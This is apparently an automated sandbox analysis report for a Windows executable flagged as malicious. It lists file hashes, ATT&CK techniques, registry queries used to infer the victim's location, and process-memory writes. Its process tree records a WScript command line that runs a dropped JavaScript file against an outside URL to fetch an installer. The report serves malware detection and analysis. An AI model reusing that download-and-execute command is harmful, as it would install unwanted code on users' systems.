3c39ac748806e2ebac83dea6d7d868f348f836102a1a269d03c2ac204e122589

General

Target

f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe
Size

184KB
MD5

f621917825e0c2b866cbabf23f33bb5f
SHA1

3106b4b8b3392153f460d2a0fb80863479b7b23c
SHA256

3c39ac748806e2ebac83dea6d7d868f348f836102a1a269d03c2ac204e122589
SHA512

5e3071023f43d53410586823bedff395998fe40e55f37eaf5adc4b8b5fb47a04b1ec97dbb24191b31b9b3b5d07dc64113a2c74dbc07d7d377f3aa147aeae9f7d
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3U:/7BSH8zUB+nGESaaRvoB7FJNndn9

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
7	2516	WScript.exe
24	4656	WScript.exe
32	1196	WScript.exe
48	2088	WScript.exe
50	3068	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3204	4844	WerFault.exe	81

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4844 wrote to memory of 2516	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	82
PID 4844 wrote to memory of 2516	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	82
PID 4844 wrote to memory of 2516	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	82
PID 4844 wrote to memory of 4656	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	88
PID 4844 wrote to memory of 4656	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	88
PID 4844 wrote to memory of 4656	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	88
PID 4844 wrote to memory of 1196	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	91
PID 4844 wrote to memory of 1196	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	91
PID 4844 wrote to memory of 1196	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	91
PID 4844 wrote to memory of 2088	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	94
PID 4844 wrote to memory of 2088	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	94
PID 4844 wrote to memory of 2088	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	94
PID 4844 wrote to memory of 3068	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	95
PID 4844 wrote to memory of 3068	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	95
PID 4844 wrote to memory of 3068	4844	f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe	95

C:\Users\Admin\AppData\Local\Temp\f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\f621917825e0c2b866cbabf23f33bb5f_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BFB.js" http://www.djapp.info/?domain=TURXHlIGLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf5BFB.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2516
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BFB.js" http://www.djapp.info/?domain=TURXHlIGLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf5BFB.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4656
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BFB.js" http://www.djapp.info/?domain=TURXHlIGLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf5BFB.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1196
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BFB.js" http://www.djapp.info/?domain=TURXHlIGLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf5BFB.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2088
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BFB.js" http://www.djapp.info/?domain=TURXHlIGLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf5BFB.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3068
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 1448
  2⤵
  - Program crash
  PID:3204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 376 -p 4844 -ip 4844
1⤵
PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf5BFB.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit

Analysis

Sharing